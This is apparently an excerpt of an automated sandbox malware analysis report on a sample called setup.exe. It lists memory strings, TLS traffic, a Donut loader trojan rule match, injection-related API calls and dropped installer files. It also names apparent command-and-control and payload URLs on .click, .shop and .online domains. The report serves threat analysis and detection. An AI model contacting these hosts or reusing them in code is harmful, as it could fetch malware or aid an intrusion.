Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: setup.exe, 00000000.00000003.2073247216.000000000090D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005938451.0000000000909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt
Source: setup.exe, 00000000.00000003.2073247216.000000000090D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005938451.0000000000909000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cegu.shop/8574262446/ph.txt3h
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: https://certs.securetrust.com/CA0
Source: setup.exe, 00000000.00000003.2073247216.00000000008E3000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: https://certs.securetrust.com/CA05
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: https://certs.securetrust.com/CA0:
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000004.00000002.2014602281.0000000005584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000004.00000002.2014602281.00000000054A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.2014602281.0000000005B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: https://jrsoftware.org/
Source: setup.exe, 00000000.00000003.2009593627.0000000003BB2000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2009507319.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000000.2071669913.0000000000F51000.00000020.00000001.01000000.00000008.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: https://jrsoftware.org0
Source: setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/
Source: setup.exe, 00000000.00000003.2073247216.0000000000917000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2085467955.0000000000917000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005938451.0000000000916000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt
Source: setup.exe, 00000000.00000003.2005263169.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2087997454.0000000000957000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop/int_clp_sha.txt~
Source: setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipvumisui.shop:443/int_clp_sha.txt
Source: setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1900197149.000000000096A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1885564075.000000000095E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1948459100.000000000096D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/
Source: setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/Q
Source: setup.exe, 00000000.00000003.1885564075.000000000095E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apb
Source: setup.exe, 00000000.00000003.1970399938.0000000000988000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2005263169.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1885564075.0000000000987000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841688890.0000000003666000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1947858906.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2087997454.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1930354486.0000000000957000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1853872165.0000000003670000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1948459100.0000000000988000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1842691314.000000000366D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/api
Source: setup.exe, 00000000.00000003.1841688890.0000000003666000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apiF
Source: setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apiS
Source: setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apic
Source: setup.exe, 00000000.00000003.1828202359.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apies=0F
Source: setup.exe, 00000000.00000003.1828202359.0000000000917000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/apij
Source: setup.exe, 00000000.00000002.2078744236.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/pi
Source: setup.exe, 00000000.00000003.1885564075.000000000095E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click/pp
Source: setup.exe, 00000000.00000003.1828202359.0000000000904000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1948459100.000000000096D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.2088273574.000000000096D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://learningypr.click:443/api
Source: powershell.exe, 00000004.00000002.2022246655.00000000063B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: setup.exe, 00000000.00000002.2078744236.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	String found in binary or memory: https://ssl.trustwave.com/CA03
Source: setup.exe, 00000000.00000003.1829977664.0000000003704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: setup.exe, 00000000.00000003.1830105452.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841442094.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829977664.0000000003702000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841764761.00000000036B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: setup.exe, 00000000.00000003.1830105452.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: setup.exe, 00000000.00000003.1830105452.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841442094.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829977664.0000000003702000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1841764761.00000000036B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: setup.exe, 00000000.00000003.1830105452.0000000003691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2104859291.0000000002DA0000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000003.2097784921.0000000003D80000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000003.2635140988.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.9.dr, _isdecmp.dll.7.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: setup.exe, 00000000.00000003.1829151323.00000000036AA000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.1829405656.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2075890487.000000000336F000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2085146266.000000007F31B000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000000.2092228828.00000000001D1000.00000020.00000001.01000000.00000009.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000000.2112064936.0000000000E7D000.00000020.00000001.01000000.0000000C.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	String found in binary or memory: https://www.innosetup.com/
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: setup.exe, 00000000.00000003.1856973262.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2075890487.000000000336F000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.exe, 00000006.00000003.2085146266.000000007F31B000.00000004.00001000.00020000.00000000.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000007.00000000.2092228828.00000000001D1000.00000020.00000001.01000000.00000009.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp, 00000009.00000000.2112064936.0000000000E7D000.00000020.00000001.01000000.0000000C.sdmp, F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.4:49746 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00800770 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_00800770

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B03B0	0_2_007B03B0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00800770	0_2_00800770
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D804D	0_2_007D804D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F203D	0_2_007F203D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F302D	0_2_007F302D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E102A	0_2_007E102A
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BF001	0_2_007BF001
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B0000	0_2_007B0000
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C70E7	0_2_007C70E7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CF0CD	0_2_007CF0CD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BC0CD	0_2_007BC0CD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007EB09D	0_2_007EB09D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B716D	0_2_007B716D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DD156	0_2_007DD156
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B512D	0_2_007B512D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F327D	0_2_007F327D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E426D	0_2_007E426D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BD262	0_2_007BD262
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F123F	0_2_007F123F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CE2CB	0_2_007CE2CB
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C3309	0_2_007C3309
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D43F9	0_2_007D43F9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C9474	0_2_007C9474
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F245D	0_2_007F245D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B640D	0_2_007B640D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E94CF	0_2_007E94CF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E04A0	0_2_007E04A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007EA5ED	0_2_007EA5ED
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CF58D	0_2_007CF58D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D366D	0_2_007D366D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DC61D	0_2_007DC61D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C26D0	0_2_007C26D0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E477D	0_2_007E477D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B472D	0_2_007B472D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CB70D	0_2_007CB70D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BA7FD	0_2_007BA7FD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E67F9	0_2_007E67F9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F087D	0_2_007F087D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C7863	0_2_007C7863
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007EF828	0_2_007EF828
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DE8E3	0_2_007DE8E3
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007ED8BD	0_2_007ED8BD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F188D	0_2_007F188D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E9912	0_2_007E9912
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DE9FC	0_2_007DE9FC
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DE9E9	0_2_007DE9E9
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E89E6	0_2_007E89E6
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B79CD	0_2_007B79CD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CFA6D	0_2_007CFA6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BAA6D	0_2_007BAA6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D3A4D	0_2_007D3A4D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B5ADD	0_2_007B5ADD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C3A8C	0_2_007C3A8C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C0B69	0_2_007C0B69
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D5B5D	0_2_007D5B5D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CCB13	0_2_007CCB13
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BDBE1	0_2_007BDBE1
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D0BCD	0_2_007D0BCD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B8C3D	0_2_007B8C3D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F1C2D	0_2_007F1C2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E9C2D	0_2_007E9C2D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BFCC5	0_2_007BFCC5
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D6CA6	0_2_007D6CA6
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007D9C96	0_2_007D9C96
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007EDD6D	0_2_007EDD6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007CADCD	0_2_007CADCD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C3D8D	0_2_007C3D8D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DBE5D	0_2_007DBE5D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B7E5D	0_2_007B7E5D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DCE56	0_2_007DCE56
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007BAE4D	0_2_007BAE4D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E2E0D	0_2_007E2E0D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DEEC7	0_2_007DEEC7
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007B9EAD	0_2_007B9EAD
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007E9E8D	0_2_007E9E8D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007C8FEF	0_2_007C8FEF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007DDFDD	0_2_007DDFDD

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe 16E037D7B5F6A8E02B73671E1214B7979EB5D0AB0FC1106CF4C321F0FF53E13A
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp 8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81

Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 007B987D appears 70 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 007C625D appears 61 times

Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.6.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.6.dr	Static PE information: Number of sections : 11 > 10
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	Static PE information: Number of sections : 11 > 10
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	Static PE information: Number of sections : 11 > 10

Source: setup.exe, 00000000.00000003.1806627844.00000000029C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WM/OriginalFilename vs setup.exe
Source: setup.exe, 00000000.00000000.1654419855.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: WM/OriginalFilename vs setup.exe
Source: setup.exe, 00000000.00000003.2013104825.0000000003CC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameColorStreamLib.exe vs setup.exe
Source: setup.exe	Binary or memory string: WM/OriginalFilename vs setup.exe

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 00000000.00000002.2077777234.00000000007B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

